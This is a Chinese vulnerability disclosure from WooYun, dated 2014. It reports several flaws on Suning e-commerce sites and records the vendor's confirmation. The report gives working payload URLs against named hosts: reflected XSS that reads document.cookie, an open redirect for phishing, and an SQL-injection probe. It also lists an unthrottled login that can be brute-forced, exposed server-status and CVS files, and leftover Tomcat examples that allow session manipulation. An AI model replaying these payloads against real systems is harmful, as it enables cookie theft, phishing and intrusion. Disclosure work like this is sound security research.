漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083320
漏洞标题：苏宁易购安全小问题集合
相关厂商：江苏苏宁易购电子商务有限公司
漏洞作者： 路人甲
提交时间：2014-11-17 11:36
修复时间：2015-01-01 11:38
公开时间：2015-01-01 11:38
漏洞类型：钓鱼欺诈信息
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-17： 细节已通知厂商并且等待厂商处理中
2014-11-19： 厂商已经确认，细节仅向厂商公开
2014-11-29： 细节向核心白帽子及相关领域专家公开
2014-12-09： 细节向普通白帽子公开
2014-12-19： 细节向实习白帽子公开
2015-01-01： 细节向公众公开
简要描述：
..
详细说明：
危害说大也不大，但不能不重视，比如一些网络小白，只需要搭建一个镜像，我就能轻而易举的做自己想做的事
1.可跳转到指定的URL地址，可以用来钓鱼！
地址：https://m.suning.com/mts-web/auth?ticket=STF8A1826F2C3D7FF854C32DBFE1F4E4A6&targetUrl=http%3A%2F%2Fwww.baidu.com%2F%3F1410879819.99
2.xss
火狐浏览器测试的，IE限制
地址：search.suning.com/emall/brandquery/brandstoreQueryBytype.jsonp?btc=30000102&cityid=9017&type=20070&st=0&cp=0&ps=48&callback=jsonpQueryByGroup'>"><%2Ftitle><%2Ftextarea><%2Fscript><img+src%3Da+onerror%3Dprompt(document.cookie)>
3.爆破
地址：http://snapp.suning.com/appstore-web/login_error.jsp
用burpsuit爆破实测，没有验证码，没有次数限制，存在风险
4.server-status信息
泄露地址：http://aq.suning.com/server-status
泄漏内部运行信息。
漏洞证明：
5.报错泄露数据库信息
报错地址：http://tuijian.suning.com/recommend-portal/recommendv2/biz.jsonp?parameter=000000000121188864&cityId=9264&sceneIds=10-14&sceneIds=10-15&vendorId=0070076553&count=6&callback=callbackFunp&sceneIds=10-16%25%27and%280%29%3D%270%27and%27%25%27%3D%27
6.敏感信息
http://bk.suning.com/examples/ tomcat样例文件夹没删
http://bk.suning.com/examples/jsp/cal/login.html
http://bk.suning.com/examples/servlets/index.html
http://bk.suning.com/examples/jsp/cal/cal1.jsp
http://bk.suning.com/examples/servlets/servlet/RequestParamExample这个可操纵session变身管理员
7.CVS信息泄漏
泄露地址：http://www.suning.com/wcsstore/ConsumerDirectStorefrontAssetStore/OtherArea/bzzx/css/CVS/Root
8.sql注入(有人提交过，没修复)
http://agri.suning.com.cn/NewsDetail.php?id=302 NewsDetail.php页面id参数注入
9.xss
http://help.s
uning.com/searchResult.htm?keyword=%27%22--%3E%3C/styyle%3E%3C/scRipt%3E%3CscRipt%3Ealert%28/%E4%B9%8C%E4%BA%91/%29%3C/scRipt%3E
修复方案：
从来没有收到过你们的礼物，能发一个鼓励下我吗，让我更有信息继续挖下去
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-11-19 15:09
厂商回复：
感谢提交。
最新状态：
暂无